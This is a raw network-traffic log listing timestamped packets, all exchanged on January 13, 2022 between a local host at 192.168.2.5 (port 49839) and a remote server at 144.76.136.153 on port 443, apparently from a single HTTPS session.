Jan 13, 2022 20:51:26.914887905 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.914951086 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.914978981 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.914988041 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.915019035 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.915043116 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.915148973 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.915180922 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.915213108 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.915220976 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.915261030 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.915276051 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.915339947 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.915371895 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.915409088 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.915417910 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.915452003 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.915479898 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.915550947 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.915580988 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.915613890 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.915621996 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.915662050 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.915685892 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.915776968 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.915827036 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.915873051 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.915880919 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.915915966 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.915971994 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.916053057 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.916095972 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.916166067 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.916183949 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.916207075 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.916241884 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.916318893 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.916361094 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.916403055 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.916414976 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.916451931 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.916476965 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.916589022 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.916623116 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.916661978 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.916671991 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.916722059 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.916786909 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.916820049 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.916857004 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.916866064 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.916887999 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.916906118 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.916976929 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.917009115 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.917078972 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.917088985 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.917098999 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.917117119 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.917149067 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.917179108 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.917186022 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.917215109 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.917242050 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.937295914 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.937341928 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.937412024 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.937474012 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.962968111 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.962995052 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963031054 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963041067 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963139057 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963150024 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963202000 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963211060 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963258028 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963264942 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963278055 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963304996 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963318110 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963326931 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963361025 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963370085 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963406086 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963413000 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963443041 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963454962 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963464022 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963491917 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963505030 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963531017 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963551044 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963557005 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963577032 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963598013 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963603973 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963622093 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963633060 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963651896 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963656902 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963681936 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963689089 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963699102 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963707924 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963736057 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963746071 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963772058 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963777065 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963799000 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963805914 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963820934 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963825941 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963851929 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963865042 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963890076 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963901043 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963910103 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963922024 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963939905 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.963954926 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.963978052 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.964019060 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.964025974 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.964046001 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.964072943 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.964103937 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.964390039 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.964426041 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.964476109 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.964487076 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.964505911 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.964591026 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.964622974 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.964658976 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.964668989 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.964701891 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.964776039 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.964806080 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.964855909 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.964867115 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.964878082 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.964950085 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.964988947 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.965034962 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.965044022 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.965075970 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.965117931 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.965146065 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.965188026 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.965198040 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.965225935 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.965269089 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.965306997 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.965348005 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.965357065 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.965373039 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.965465069 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.965495110 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.965534925 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.965544939 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.965568066 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.965642929 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.965670109 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.965709925 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.965718985 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.965742111 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.965800047 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.965828896 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.965871096 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.965878963 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.965893984 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.965982914 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.966013908 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.966049910 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.966058969 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.966083050 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.966157913 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.966187954 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.966229916 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.966238976 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.966264009 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.966317892 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.966345072 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.966384888 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.966392994 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.966415882 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.966445923 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.966475010 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.966526985 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.966536045 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.966562033 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.987629890 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.987668037 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.987747908 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.987761021 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.987801075 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.987953901 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.987987995 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.988039017 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.988053083 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.988063097 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.988388062 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.988416910 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.988481998 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.988492012 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.988524914 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.988785028 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.988815069 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.988869905 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.988881111 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.988920927 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.989286900 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.989317894 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.989382982 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.989394903 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.989407063 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.989701986 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.989753008 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.989799976 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.989814997 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.989825964 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.990201950 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.990236044 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.990293026 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.990325928 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.176605940 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.176646948 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.176778078 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.180614948 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.180636883 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.180660009 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.180669069 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.180771112 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.180788040 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.180804014 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.180814028 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.180900097 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.180913925 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.180931091 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.180967093 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.180980921 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181061029 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.181066990 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181080103 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181103945 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.181108952 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181130886 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181168079 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.181174994 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181199074 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181229115 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.181235075 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181296110 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.181310892 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181332111 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181341887 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.181346893 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181400061 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.181411028 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181457043 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181477070 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.181512117 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181540966 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.181546926 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181580067 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181612968 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.181672096 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181715012 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.181725025 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181777954 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.181791067 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181824923 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.181830883 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181870937 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.181891918 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181899071 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.181911945 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181936979 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181971073 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.181999922 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.182005882 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.182029963 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.182066917 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.182080984 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.182126045 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.182127953 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.182156086 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.182180882 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.182188034 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.182216883 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.182226896 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.182244062 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.182296038 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.182336092 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.182589054 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.182627916 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.182691097 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.182708025 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.182735920 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.182807922 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.182848930 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.182895899 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.182914019 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.182955980 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.183026075 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.183053970 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.183095932 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.183114052 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.183146000 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.183271885 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.183305025 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.183351994 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.183368921 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.183404922 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.183471918 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.183509111 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.183558941 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.183568954 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.183597088 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.183672905 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.183717012 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.183759928 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.183777094 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.183804035 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.183901072 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.183936119 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.184043884 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.184052944 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.184068918 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.184163094 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.184200048 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.184248924 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.184266090 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.184339046 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.184417963 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.184463978 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.184520960 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:27.184530973 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:27.184551954 CET	49839	443	192.168.2.5	144.76.136.153
